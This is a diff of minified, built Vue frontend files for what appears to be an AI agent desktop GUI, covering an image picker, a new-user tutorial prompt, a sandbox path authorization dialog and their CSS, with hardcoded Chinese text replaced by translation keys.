l?g(l):s});return(e,s)=>(c(),V(A,{name:"overlay-fade"},{default:E(()=>[f.open?(c(),d("div",{key:0,class:"subagent-activity-overlay",onClick:s[1]||(s[1]=U(l=>e.$emit("close"),["self"]))},[o("div",H,[o("div",J,[o("div",K,t(n.value?e.$t("overlay.goalDoneTitle"):i.value?e.$t("overlay.goalStoppedTitle"):e.$t("overlay.goalRunningTitle")),1),j(O,{label:e.$t("common.close"),onClick:s[0]||(s[0]=l=>e.$emit("close"))},null,8,["label"])]),o("div",Q,[o("span",{class:z(["goal-progress-status",N.value])},t(C.value),3),_.value?(c(),d("span",{key:0,class:"goal-progress-goal",title:_.value},t(e.$t("overlay.goalLabel",{goal:_.value})),9,W)):m("",!0)]),o("div",X,[o("div",Y,[o("div",Z,t(B.value),1),o("div",x,t(e.$t("overlay.metricTurns")),1)]),o("div",ee,[o("div",se,t(F.value),1),o("div",oe,t(e.$t("overlay.metricTokens")),1)]),o("div",ae,[o("div",te,t(M.value),1),o("div",re,t(e.$t("overlay.metricToolCalls")),1)]),o("div",le,[o("div",ne,t(I.value),1),o("div",ie,t(e.$t("overlay.metricDuration")),1)])]),i.value&&T.value?(c(),d("div",ue,t(e.$t("overlay.stopReason",{reason:T.value})),1)):m("",!0),$.value?(c(),d("div",ce,[o("div",ve,t(n.value?e.$t("overlay.summaryDone"):e.$t("overlay.summaryLatest")),1),o("div",de,t($.value),1)])):m("",!0)])])):m("",!0)]),_:1}))}}),he=q(me,[["__scopeId","data-v-42f45aca"]]);export{he as default};

View File

@ -1 +1 @@
.image-picker-backdrop[data-v-eb7976c1]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1200}.image-picker-panel[data-v-eb7976c1]{width:min(980px,92vw);max-height:88vh;background:var(--surface-panel);color:var(--text-primary);border:1px solid var(--border-default);border-radius:12px;display:flex;flex-direction:column;box-shadow:0 16px 40px var(--shadow-color)}.header[data-v-eb7976c1]{display:flex;align-items:center;justify-content:space-between;padding:14px 16px;border-bottom:1px solid var(--border-default)}.header-left[data-v-eb7976c1]{display:flex;align-items:center;gap:10px}.title[data-v-eb7976c1]{font-weight:600}.local-btn[data-v-eb7976c1]{border:1px solid var(--border-strong);padding:4px 10px;border-radius:8px;background:var(--surface-raised);color:var(--text-secondary);font-size:12px;cursor:pointer}.local-btn[data-v-eb7976c1]:disabled{opacity:.5;cursor:not-allowed}.close-btn[data-v-eb7976c1]{background:transparent;color:var(--text-tertiary);border:none;font-size:20px;cursor:pointer}.body[data-v-eb7976c1]{padding:12px 16px;overflow:auto;flex:1}.grid[data-v-eb7976c1]{display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:12px}.card[data-v-eb7976c1]{border:1px solid var(--border-default);border-radius:10px;background:var(--surface-card);cursor:pointer;overflow:hidden;display:flex;flex-direction:column}.card img[data-v-eb7976c1]{width:100%;height:120px;object-fit:cover;background:var(--surface-base)}.card .name[data-v-eb7976c1]{padding:8px 10px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.card.selected[data-v-eb7976c1]{border-color:var(--state-info);box-shadow:0 0 0 2px color-mix(in srgb,var(--state-info) 20%,transparent)}.loading[data-v-eb7976c1],.empty[data-v-eb7976c1]{padding:40px 0;text-align:center;color:var(--text-tertiary)}.footer[data-v-eb7976c1]{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;border-top:1px solid var(--border-default)}.actions[data-v-eb7976c1]{display:flex;gap:10px}.btn[data-v-eb7976c1]{border:1px solid var(--border-strong);padding:8px 14px;border-radius:8px;background:var(--surface-raised);color:var(--text-primary);cursor:pointer}.btn.primary[data-v-eb7976c1]{background:var(--state-info);border-color:var(--state-info);color:var(--text-primary)}.btn[data-v-eb7976c1]:disabled{opacity:.5;cursor:not-allowed}.count[data-v-eb7976c1]{font-size:13px;color:var(--text-tertiary)}@media (max-width: 640px){.grid[data-v-eb7976c1]{grid-template-columns:repeat(auto-fill,minmax(120px,1fr))}.card img[data-v-eb7976c1]{height:90px}}
.image-picker-backdrop[data-v-b942f2ec]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1200}.image-picker-panel[data-v-b942f2ec]{width:min(980px,92vw);max-height:88vh;background:var(--surface-panel);color:var(--text-primary);border:1px solid var(--border-default);border-radius:12px;display:flex;flex-direction:column;box-shadow:0 16px 40px var(--shadow-color)}.header[data-v-b942f2ec]{display:flex;align-items:center;justify-content:space-between;padding:14px 16px;border-bottom:1px solid var(--border-default)}.header-left[data-v-b942f2ec]{display:flex;align-items:center;gap:10px}.title[data-v-b942f2ec]{font-weight:600}.local-btn[data-v-b942f2ec]{border:1px solid var(--border-strong);padding:4px 10px;border-radius:8px;background:var(--surface-raised);color:var(--text-secondary);font-size:12px;cursor:pointer}.local-btn[data-v-b942f2ec]:disabled{opacity:.5;cursor:not-allowed}.body[data-v-b942f2ec]{padding:12px 16px;overflow:auto;flex:1}.grid[data-v-b942f2ec]{display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:12px}.card[data-v-b942f2ec]{border:1px solid var(--border-default);border-radius:10px;background:var(--surface-card);cursor:pointer;overflow:hidden;display:flex;flex-direction:column}.card img[data-v-b942f2ec]{width:100%;height:120px;object-fit:cover;background:var(--surface-base)}.card .name[data-v-b942f2ec]{padding:8px 10px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.card.selected[data-v-b942f2ec]{border-color:var(--state-info);box-shadow:0 0 0 2px color-mix(in srgb,var(--state-info) 20%,transparent)}.loading[data-v-b942f2ec],.empty[data-v-b942f2ec]{padding:40px 0;text-align:center;color:var(--text-tertiary)}.footer[data-v-b942f2ec]{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;border-top:1px solid var(--border-default)}.actions[data-v-b942f2ec]{display:flex;gap:10px}.btn[data-v-b942f2ec]{border:1px solid var(--border-strong);padding:8px 14px;border-radius:8px;background:var(--surface-raised);color:var(--text-primary);cursor:pointer}.btn.primary[data-v-b942f2ec]{background:var(--state-info);border-color:var(--state-info);color:var(--text-primary)}.btn[data-v-b942f2ec]:disabled{opacity:.5;cursor:not-allowed}.count[data-v-b942f2ec]{font-size:13px;color:var(--text-tertiary)}@media (max-width: 640px){.grid[data-v-b942f2ec]{grid-template-columns:repeat(auto-fill,minmax(120px,1fr))}.card img[data-v-b942f2ec]{height:90px}}

View File

@ -1 +1 @@
import{d as C,k as _,w as S,o as B,b as o,e as I,s as x,c as n,A as z,g as e,t as p,F as A,r as D,n as F,f as L,T as P,l as T}from"./runtime-dom.esm-bundler.js";import{_ as U}from"./_plugin-vue_export-helper.js";const V={class:"image-picker-panel"},M={class:"header"},N={class:"header-left"},$=["disabled"],j={class:"body"},E={key:0,class:"loading"},R={key:1,class:"empty"},W={key:2,class:"grid"},q=["onClick","title"],G=["src","alt"],H={class:"name"},J={class:"footer"},K={class:"count"},O={class:"actions"},Q=["disabled"],X=C({__name:"ImagePicker",props:{open:{type:Boolean},entries:{},initialSelected:{},loading:{type:Boolean},uploading:{type:Boolean,default:!1}},emits:["close","confirm","local-files"],setup(i,{emit:h}){const c=i,d=h,l=_(new Set(c.initialSelected||[])),f=_(null);let m=0;S(()=>c.initialSelected,t=>{l.value=new Set(t||[])});const g=T(()=>c.entries||[]),v=t=>{if(!t)return;const s=new Set(l.value);if(s.has(t))s.delete(t);else{if(s.size>=9)return;s.add(t)}l.value=s},u=()=>{Date.now()<m||d("close")},k=()=>d("confirm",Array.from(l.value)),b=()=>{var t;c.uploading||(m=Date.now()+1500,(t=f.value)==null||t.click())},y=t=>{const s=t.target,a=s==null?void 0:s.files,r=a&&a.length?Array.from(a):null;!r||r.length===0?(console.warn("[ImagePicker] change fired but files empty — likely WebView compat issue"),d("local-files",null)):d("local-files",r),setTimeout(()=>{s&&(s.value="")},200)},w=t=>`/api/gui/files/download?path=${encodeURIComponent(t)}`;return B(()=>{l.value=new Set(c.initialSelected||[])}),(t,s)=>(o(),I(P,{name:"overlay-fade"},{default:x(()=>[i.open?(o(),n("div",{key:0,class:"image-picker-backdrop",onClick:z(u,["self"])},[e("div",V,[e("div",M,[e("div",N,[s[0]||(s[0]=e("div",{class:"title"},"选择图片最多9张",-1)),e("button",{type:"button",class:"local-btn",disabled:i.uploading,onClick:b},p(i.uploading?"上传中...":"从本地发送"),9,$),e("input",{ref_key:"localInput",ref:f,type:"file",class:"file-input-hidden",accept:"image/png,image/jpeg,image/webp,image/gif,image/bmp",multiple:"",onChange:y},null,544)]),e("button",{class:"close-btn",onClick:u},"×")]),e("div",j,[i.loading?(o(),n("div",E,"加载中...")):g.value.length?(o(),n("div",W,[(o(!0),n(A,null,D(g.value,a=>(o(),n("div",{key:a.path,class:F(["card",{selected:l.value.has(a.path)}]),onClick:r=>v(a.path),title:a.path},[e("img",{src:w(a.path),alt:a.name},null,8,G),e("div",H,p(a.name),1)],10,q))),128))])):(o(),n("div",R,"未找到图片文件"))]),e("div",J,[e("div",K,"已选 "+p(l.value.size)+" / 9",1),e("div",O,[e("button",{type:"button",class:"btn secondary",onClick:u},"取消"),e("button",{type:"button",class:"btn primary",disabled:!l.value.size,onClick:k}," 确认 ",8,Q)])])])])):L("",!0)]),_:1}))}}),ee=U(X,[["__scopeId","data-v-eb7976c1"]]);export{ee as default};
import{d as w,j as v,w as S,o as $,m as n,b as B,x as I,c as i,B as z,f as t,t as l,s as F,F as L,r as P,n as T,e as V,T as D,k as N}from"./index.js";import{C as U}from"./CloseButton.js";import{_ as j}from"./_plugin-vue_export-helper.js";const A={class:"image-picker-panel"},M={class:"header"},E={class:"header-left"},R={class:"title"},W=["disabled"],q={class:"body"},G={key:0,class:"loading"},H={key:1,class:"empty"},J={key:2,class:"grid"},K=["onClick","title"],O=["src","alt"],Q={class:"name"},X={class:"footer"},Y={class:"count"},Z={class:"actions"},x=["disabled"],ee=w({__name:"ImagePicker",props:{open:{type:Boolean},entries:{},initialSelected:{},loading:{type:Boolean},uploading:{type:Boolean,default:!1}},emits:["close","confirm","local-files"],setup(c,{emit:h}){const d=c,r=h,s=v(new Set(d.initialSelected||[])),p=v(null);let f=0;S(()=>d.initialSelected,e=>{s.value=new Set(e||[])});const g=N(()=>d.entries||[]),k=e=>{if(!e)return;const o=new Set(s.value);if(o.has(e))o.delete(e);else{if(o.size>=9)return;o.add(e)}s.value=o},m=()=>{Date.now()<f||r("close")},y=()=>r("confirm",Array.from(s.value)),_=()=>{var e;d.uploading||(f=Date.now()+1500,(e=p.value)==null||e.click())},b=e=>{const o=e.target,a=o==null?void 0:o.files,u=a&&a.length?Array.from(a):null;!u||u.length===0?(console.warn("[ImagePicker] change fired but files empty — likely WebView compat issue"),r("local-files",null)):r("local-files",u),setTimeout(()=>{o&&(o.value="")},200)},C=e=>`/api/gui/files/download?path=${encodeURIComponent(e)}`;return $(()=>{s.value=new Set(d.initialSelected||[])}),(e,o)=>(n(),B(D,{name:"overlay-fade"},{default:I(()=>[c.open?(n(),i("div",{key:0,class:"image-picker-backdrop",onClick:z(m,["self"])},[t("div",A,[t("div",M,[t("div",E,[t("div",R,l(e.$t("overlay.imagePickerTitle")),1),t("button",{type:"button",class:"local-btn",disabled:c.uploading,onClick:_},l(c.uploading?e.$t("overlay.uploading"):e.$t("overlay.sendFromLocal")),9,W),t("input",{ref_key:"localInput",ref:p,type:"file",class:"file-input-hidden",accept:"image/png,image/jpeg,image/webp,image/gif,image/bmp",multiple:"",onChange:b},null,544)]),F(U,{label:e.$t("common.close"),onClick:m},null,8,["label"])]),t("div",q,[c.loading?(n(),i("div",G,l(e.$t("common.loading")),1)):g.value.length?(n(),i("div",J,[(n(!0),i(L,null,P(g.value,a=>(n(),i("div",{key:a.path,class:T(["card",{selected:s.value.has(a.path)}]),onClick:u=>k(a.path),title:a.path},[t("img",{src:C(a.path),alt:a.name},null,8,O),t("div",Q,l(a.name),1)],10,K))),128))])):(n(),i("div",H,l(e.$t("overlay.noImages")),1))]),t("div",X,[t("div",Y,l(e.$t("overlay.imageSelectedCount",{n:s.value.size})),1),t("div",Z,[t("button",{type:"button",class:"btn secondary",onClick:m},l(e.$t("common.cancel")),1),t("button",{type:"button",class:"btn primary",disabled:!s.value.size,onClick:y},l(e.$t("common.confirm")),9,x)])])])])):V("",!0)]),_:1}))}}),se=j(ee,[["__scopeId","data-v-b942f2ec"]]);export{se as default};

View File

@ -1 +1 @@
.new-user-tutorial-mask[data-v-45dd0402]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2100;display:grid;place-items:center;padding:24px;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px)}.new-user-tutorial-dialog[data-v-45dd0402]{width:min(520px,calc(100vw - 32px));border-radius:18px;border:1px solid var(--theme-control-border-strong);background:var(--theme-surface-card);box-shadow:var(--theme-shadow-strong);padding:22px 22px 18px}.eyebrow[data-v-45dd0402]{margin:0;font-size:12px;color:var(--text-tertiary)}h3[data-v-45dd0402]{margin:6px 0 8px;font-size:20px}.desc[data-v-45dd0402]{margin:0;color:var(--text-tertiary);line-height:1.6}.actions[data-v-45dd0402]{margin-top:18px;display:flex;gap:10px;justify-content:flex-end}button[data-v-45dd0402]{min-height:38px;border-radius:999px;border:1px solid var(--theme-control-border);padding:0 15px;font-weight:700;font-size:13px;cursor:pointer;transition:transform .16s ease,box-shadow .2s ease,opacity .2s ease}.primary[data-v-45dd0402]{border:none;background:linear-gradient(135deg,var(--accent),var(--accent-strong));color:var(--on-accent)}.ghost[data-v-45dd0402]{background:var(--theme-surface-soft);color:var(--text-primary)}button[data-v-45dd0402]:hover:not(:disabled){transform:translateY(-1px);box-shadow:var(--theme-shadow-soft)}button[data-v-45dd0402]:disabled{opacity:.6;cursor:not-allowed}
.new-user-tutorial-mask[data-v-e3fa51a5]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2100;display:grid;place-items:center;padding:24px;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px)}.new-user-tutorial-dialog[data-v-e3fa51a5]{width:min(520px,calc(100vw - 32px));border-radius:18px;border:1px solid var(--theme-control-border-strong);background:var(--theme-surface-card);box-shadow:var(--theme-shadow-strong);padding:22px 22px 18px}.eyebrow[data-v-e3fa51a5]{margin:0;font-size:12px;color:var(--text-tertiary)}h3[data-v-e3fa51a5]{margin:6px 0 8px;font-size:20px}.desc[data-v-e3fa51a5]{margin:0;color:var(--text-tertiary);line-height:1.6}.actions[data-v-e3fa51a5]{margin-top:18px;display:flex;gap:10px;justify-content:flex-end}button[data-v-e3fa51a5]{min-height:38px;border-radius:999px;border:1px solid var(--theme-control-border);padding:0 15px;font-weight:700;font-size:13px;cursor:pointer;transition:transform .16s ease,box-shadow .2s ease,opacity .2s ease}.primary[data-v-e3fa51a5]{border:none;background:linear-gradient(135deg,var(--accent),var(--accent-strong));color:var(--on-accent)}.ghost[data-v-e3fa51a5]{background:var(--theme-surface-soft);color:var(--text-primary)}button[data-v-e3fa51a5]:hover:not(:disabled){transform:translateY(-1px);box-shadow:var(--theme-shadow-soft)}button[data-v-e3fa51a5]:disabled{opacity:.6;cursor:not-allowed}

View File

@ -1 +1 @@
import{d,b as i,e as c,s as m,c as u,A as p,g as t,t as l,f as b,T as f}from"./runtime-dom.esm-bundler.js";import{_ as k}from"./_plugin-vue_export-helper.js";const g={class:"new-user-tutorial-dialog",role:"dialog","aria-modal":"true","aria-label":"新手教程提示"},y={class:"actions"},_=["disabled"],v=["disabled"],w=d({__name:"NewUserTutorialPrompt",props:{visible:{type:Boolean},username:{},loading:{type:Boolean}},emits:["start","skip"],setup(e,{emit:n}){const a=n,r=()=>a("start"),o=()=>a("skip");return(B,s)=>(i(),c(f,{name:"overlay-fade"},{default:m(()=>[e.visible?(i(),u("div",{key:0,class:"new-user-tutorial-mask",onClick:p(o,["self"])},[t("div",g,[s[0]||(s[0]=t("p",{class:"eyebrow"},"欢迎",-1)),t("h3",null,"新用户 "+l(e.username||"用户"),1),s[1]||(s[1]=t("p",{class:"desc"},"是否需要通过新手教程来快速认识这个系统?",-1)),t("div",y,[t("button",{type:"button",class:"primary",disabled:e.loading,onClick:r},l(e.loading?"处理中...":"开始吧!"),9,_),t("button",{type:"button",class:"ghost",disabled:e.loading,onClick:o}," 不再提示 ",8,v)])])])):b("",!0)]),_:1}))}}),x=k(w,[["__scopeId","data-v-45dd0402"]]);export{x as default};
import{d,m as l,b as c,x as m,c as u,B as p,f as t,t as o,e as y,T as b}from"./index.js";import{_ as v}from"./_plugin-vue_export-helper.js";const f=["aria-label"],h={class:"eyebrow"},k={class:"desc"},g={class:"actions"},w=["disabled"],_=["disabled"],$=d({__name:"NewUserTutorialPrompt",props:{visible:{type:Boolean},username:{},loading:{type:Boolean}},emits:["start","skip"],setup(a,{emit:r}){const s=r,n=()=>s("start"),i=()=>s("skip");return(e,B)=>(l(),c(b,{name:"overlay-fade"},{default:m(()=>[a.visible?(l(),u("div",{key:0,class:"new-user-tutorial-mask",onClick:p(i,["self"])},[t("div",{class:"new-user-tutorial-dialog",role:"dialog","aria-modal":"true","aria-label":e.$t("overlay.tutorialPromptAriaLabel")},[t("p",h,o(e.$t("overlay.welcome")),1),t("h3",null,o(e.$t("overlay.newUserTitle",{name:a.username||e.$t("overlay.user")})),1),t("p",k,o(e.$t("overlay.tutorialPromptDesc")),1),t("div",g,[t("button",{type:"button",class:"primary",disabled:a.loading,onClick:n},o(a.loading?e.$t("overlay.processing"):e.$t("overlay.startTutorial")),9,w),t("button",{type:"button",class:"ghost",disabled:a.loading,onClick:i},o(e.$t("overlay.noMorePrompt")),9,_)])],8,f)])):y("",!0)]),_:1}))}}),P=v($,[["__scopeId","data-v-e3fa51a5"]]);export{P as default};

View File

@ -1 +1 @@
.overlay-backdrop[data-v-7d5dbd1a]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1000}.overlay-card[data-v-7d5dbd1a]{width:min(680px,92vw);background:var(--theme-surface-soft);border:1px solid var(--theme-control-border);border-radius:12px;padding:12px}.overlay-header[data-v-7d5dbd1a]{display:flex;justify-content:space-between;align-items:center;margin-bottom:8px}.overlay-header h3[data-v-7d5dbd1a]{margin:0;font-size:16px}.overlay-header button[data-v-7d5dbd1a]{border:none;background:transparent;font-size:20px;cursor:pointer}.hint[data-v-7d5dbd1a]{font-size:12px;color:var(--text-secondary);margin:0 0 8px}.mode-switch[data-v-7d5dbd1a]{display:inline-flex;border:1px solid var(--theme-control-border);border-radius:10px;overflow:hidden;margin-bottom:8px}.mode-btn[data-v-7d5dbd1a]{border:none;background:transparent;padding:6px 10px;cursor:pointer;font-size:12px}.mode-btn.active[data-v-7d5dbd1a]{background:var(--theme-tab-active);font-weight:600}.path-input[data-v-7d5dbd1a]{width:100%;min-height:220px;resize:vertical;border:1px solid var(--theme-control-border);border-radius:8px;padding:8px;font-family:ui-monospace,SFMono-Regular,Menlo,monospace}.actions[data-v-7d5dbd1a]{margin-top:10px;display:flex;gap:8px;justify-content:flex-end}.btn[data-v-7d5dbd1a]{border:1px solid var(--theme-control-border);background:var(--theme-tab-active);padding:6px 12px;border-radius:8px;cursor:pointer}.btn-muted[data-v-7d5dbd1a]{background:transparent}.path-auth-fade-enter-active[data-v-7d5dbd1a],.path-auth-fade-leave-active[data-v-7d5dbd1a]{transition:opacity .2s ease,transform .2s ease}.path-auth-fade-enter-from[data-v-7d5dbd1a],.path-auth-fade-leave-to[data-v-7d5dbd1a]{opacity:0}.path-auth-fade-enter-from .overlay-card[data-v-7d5dbd1a],.path-auth-fade-leave-to .overlay-card[data-v-7d5dbd1a]{transform:translateY(8px) scale(.98)}.overlay-card[data-v-7d5dbd1a]{transition:transform .2s ease}
.overlay-backdrop[data-v-0308a975]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1000}.overlay-card[data-v-0308a975]{width:min(680px,92vw);background:var(--theme-surface-soft);border:1px solid var(--theme-control-border);border-radius:12px;padding:12px}.overlay-header[data-v-0308a975]{display:flex;justify-content:space-between;align-items:center;margin-bottom:8px}.overlay-header h3[data-v-0308a975]{margin:0;font-size:16px;color:var(--text-primary)}.hint[data-v-0308a975]{font-size:12px;color:var(--text-secondary);margin:0 0 8px}.mode-switch[data-v-0308a975]{display:inline-flex;border:1px solid var(--theme-control-border);border-radius:10px;overflow:hidden;margin-bottom:8px}.mode-btn[data-v-0308a975]{border:none;background:transparent;padding:6px 10px;cursor:pointer;font-size:12px}.mode-btn.active[data-v-0308a975]{background:var(--theme-tab-active);font-weight:600}.path-input[data-v-0308a975]{width:100%;min-height:220px;resize:vertical;border:1px solid var(--theme-control-border);border-radius:8px;padding:8px;font-family:ui-monospace,SFMono-Regular,Menlo,monospace}.actions[data-v-0308a975]{margin-top:10px;display:flex;gap:8px;justify-content:flex-end}.btn[data-v-0308a975]{border:1px solid var(--theme-control-border);background:var(--theme-tab-active);padding:6px 12px;border-radius:8px;cursor:pointer}.btn-muted[data-v-0308a975]{background:transparent}.path-auth-fade-enter-active[data-v-0308a975],.path-auth-fade-leave-active[data-v-0308a975]{transition:opacity .2s ease,transform .2s ease}.path-auth-fade-enter-from[data-v-0308a975],.path-auth-fade-leave-to[data-v-0308a975]{opacity:0}.path-auth-fade-enter-from .overlay-card[data-v-0308a975],.path-auth-fade-leave-to .overlay-card[data-v-0308a975]{transform:translateY(8px) scale(.98)}.overlay-card[data-v-0308a975]{transition:transform .2s ease}

View File

@ -1 +1 @@
import{d as i,b as n,e as d,s as u,c as r,g as t,n as l,t as m,f as v,T as b}from"./runtime-dom.esm-bundler.js";import{_ as p}from"./_plugin-vue_export-helper.js";const c={key:0,class:"overlay-backdrop"},k={class:"overlay-card"},y={class:"overlay-header"},$={class:"mode-switch"},f={class:"hint"},h=["value","placeholder"],C={class:"actions"},g=["disabled"],w=i({__name:"PathAuthorizationDialog",props:{open:{type:Boolean},value:{},mode:{},saving:{type:Boolean}},emits:["close","save","update:value","update:mode"],setup(o){return(a,e)=>(n(),d(b,{name:"path-auth-fade"},{default:u(()=>[o.open?(n(),r("div",c,[t("div",k,[t("div",y,[e[6]||(e[6]=t("h3",null,"路径授权",-1)),t("button",{type:"button",onClick:e[0]||(e[0]=s=>a.$emit("close"))},"×")]),t("div",$,[t("button",{type:"button",class:l(["mode-btn",{active:o.mode==="writable"}]),onClick:e[1]||(e[1]=s=>a.$emit("update:mode","writable"))}," 可读可写 ",2),t("button",{type:"button",class:l(["mode-btn",{active:o.mode==="readable"}]),onClick:e[2]||(e[2]=s=>a.$emit("update:mode","readable"))}," 仅可读 ",2)]),t("p",f,m(o.mode==="writable"?"可读可写路径在 workspace-write 沙箱中可写入,只读沙箱中仅可读。":"仅可读路径在只读沙箱中会被加入允许读取列表;工作区可写沙箱默认已可读。"),1),t("textarea",{class:"path-input",value:o.value,onInput:e[3]||(e[3]=s=>a.$emit("update:value",s.target.value)),placeholder:o.mode==="writable"?"每行一个路径,例如:~/Desktop/agents-export":"每行一个路径,例如:~/Documents/reference"},null,40,h),t("div",C,[t("button",{type:"button",class:"btn",onClick:e[4]||(e[4]=s=>a.$emit("save")),disabled:o.saving},"保存",8,g),t("button",{type:"button",class:"btn btn-muted",onClick:e[5]||(e[5]=s=>a.$emit("close"))},"取消")])])])):v("",!0)]),_:1}))}}),z=p(w,[["__scopeId","data-v-7d5dbd1a"]]);export{z as default};
import{d,m as n,b as r,x as m,c as u,f as a,t as s,s as v,n as i,e as b,T as p}from"./index.js";import{C as $}from"./CloseButton.js";import{_ as c}from"./_plugin-vue_export-helper.js";const y={key:0,class:"overlay-backdrop"},h={class:"overlay-card"},C={class:"overlay-header"},f={class:"mode-switch"},k={class:"hint"},w=["value","placeholder"],B={class:"actions"},g=["disabled"],P=d({__name:"PathAuthorizationDialog",props:{open:{type:Boolean},value:{},mode:{},saving:{type:Boolean}},emits:["close","save","update:value","update:mode"],setup(o){return(e,t)=>(n(),r(p,{name:"path-auth-fade"},{default:m(()=>[o.open?(n(),u("div",y,[a("div",h,[a("div",C,[a("h3",null,s(e.$t("overlay.pathAuthTitle")),1),v($,{label:e.$t("common.close"),onClick:t[0]||(t[0]=l=>e.$emit("close"))},null,8,["label"])]),a("div",f,[a("button",{type:"button",class:i(["mode-btn",{active:o.mode==="writable"}]),onClick:t[1]||(t[1]=l=>e.$emit("update:mode","writable"))},s(e.$t("overlay.writableMode")),3),a("button",{type:"button",class:i(["mode-btn",{active:o.mode==="readable"}]),onClick:t[2]||(t[2]=l=>e.$emit("update:mode","readable"))},s(e.$t("overlay.readableMode")),3)]),a("p",k,s(o.mode==="writable"?e.$t("overlay.writableHint"):e.$t("overlay.readableHint")),1),a("textarea",{class:"path-input",value:o.value,onInput:t[3]||(t[3]=l=>e.$emit("update:value",l.target.value)),placeholder:o.mode==="writable"?e.$t("overlay.writablePlaceholder"):e.$t("overlay.readablePlaceholder")},null,40,w),a("div",B,[a("button",{type:"button",class:"btn",onClick:t[4]||(t[4]=l=>e.$emit("save")),disabled:o.saving},s(e.$t("common.save")),9,g),a("button",{type:"button",class:"btn btn-muted",onClick:t[5]||(t[5]=l=>e.$emit("close"))},s(e.$t("common.cancel")),1)])])])):b("",!0)]),_:1}))}}),N=c(P,[["__scopeId","data-v-0308a975"]]);export{N as default};

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
.plan-approval-overlay[data-v-3e79b31b]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1300;display:flex;align-items:center;justify-content:center;padding:20px;background:var(--overlay-scrim)}.plan-approval-card[data-v-3e79b31b]{position:relative;width:min(860px,calc(100vw - 36px));max-height:min(680px,calc(100vh - 36px));max-height:min(680px,calc(100dvh - 36px));display:flex;flex-direction:column;color:var(--text-primary);background:var(--surface-card);border:1px solid var(--border-strong);border-radius:16px;overflow:hidden}.plan-approval-windowbar[data-v-3e79b31b]{height:40px;flex:0 0 40px;display:flex;align-items:center;justify-content:center;border-bottom:1px solid var(--border-default)}.plan-approval-window-title[data-v-3e79b31b]{font-size:13px;font-weight:600;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.plan-approval-header[data-v-3e79b31b]{padding:16px 22px 0;flex-shrink:0}.plan-approval-title-block[data-v-3e79b31b]{min-width:0}.plan-approval-summary[data-v-3e79b31b]{margin:0 0 8px;font-size:14px;font-weight:600;line-height:1.5}.plan-approval-file[data-v-3e79b31b]{margin:0;display:flex;align-items:center;gap:6px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.plan-approval-file svg[data-v-3e79b31b]{flex:0 0 auto}.plan-approval-truncated[data-v-3e79b31b]{flex:0 0 auto}.plan-approval-body[data-v-3e79b31b]{flex:1 1 auto;min-height:0;overflow-y:auto;padding:14px 22px 18px;font-size:13px;line-height:1.65}.plan-approval-comment[data-v-3e79b31b]{flex-shrink:0;padding:0 22px 12px}.plan-approval-textarea[data-v-3e79b31b]{width:100%;resize:none;min-height:56px;max-height:120px;overflow-y:auto;border:1px solid var(--border-default);border-radius:10px;padding:9px 11px;color:var(--text-primary);background:var(--surface-soft);outline:none;font:inherit;font-size:13px;line-height:1.5;box-sizing:border-box}.plan-approval-textarea[data-v-3e79b31b]:focus{border-color:var(--border-strong)}.plan-approval-footer[data-v-3e79b31b]{height:56px;flex:0 0 56px;display:flex;align-items:center;gap:12px;padding:0 18px;border-top:1px solid var(--border-default)}.plan-approval-spacer[data-v-3e79b31b]{flex:1 1 auto}.plan-approval-btn[data-v-3e79b31b]{min-width:72px;height:34px;border-radius:9px;padding:0 14px;font-size:13px;font-weight:600;cursor:pointer;border:1px solid var(--border-strong)}.plan-approval-btn.ghost[data-v-3e79b31b]{background:transparent;color:var(--text-secondary)}.plan-approval-btn.ghost[data-v-3e79b31b]:hover:not(:disabled){background:var(--hover-bg);color:var(--text-primary)}.plan-approval-btn.primary[data-v-3e79b31b]{background:var(--accent);border-color:var(--accent-strong);color:var(--on-accent)}.plan-approval-btn.primary[data-v-3e79b31b]:hover:not(:disabled){background:var(--accent-hover)}.plan-approval-btn[data-v-3e79b31b]:disabled{opacity:.5;cursor:not-allowed}.plan-approval-fade-enter-active[data-v-3e79b31b],.plan-approval-fade-leave-active[data-v-3e79b31b]{transition:opacity .16s ease}.plan-approval-fade-enter-active .plan-approval-card[data-v-3e79b31b],.plan-approval-fade-leave-active .plan-approval-card[data-v-3e79b31b]{transition:transform .16s ease}.plan-approval-fade-enter-from[data-v-3e79b31b],.plan-approval-fade-leave-to[data-v-3e79b31b]{opacity:0}.plan-approval-fade-enter-from .plan-approval-card[data-v-3e79b31b],.plan-approval-fade-leave-to .plan-approval-card[data-v-3e79b31b]{transform:translateY(6px) scale(.99)}@media (max-width: 620px){.plan-approval-overlay[data-v-3e79b31b]{padding:12px}.plan-approval-card[data-v-3e79b31b]{width:100%;max-height:calc(100vh - 24px);max-height:calc(100dvh - 24px)}}
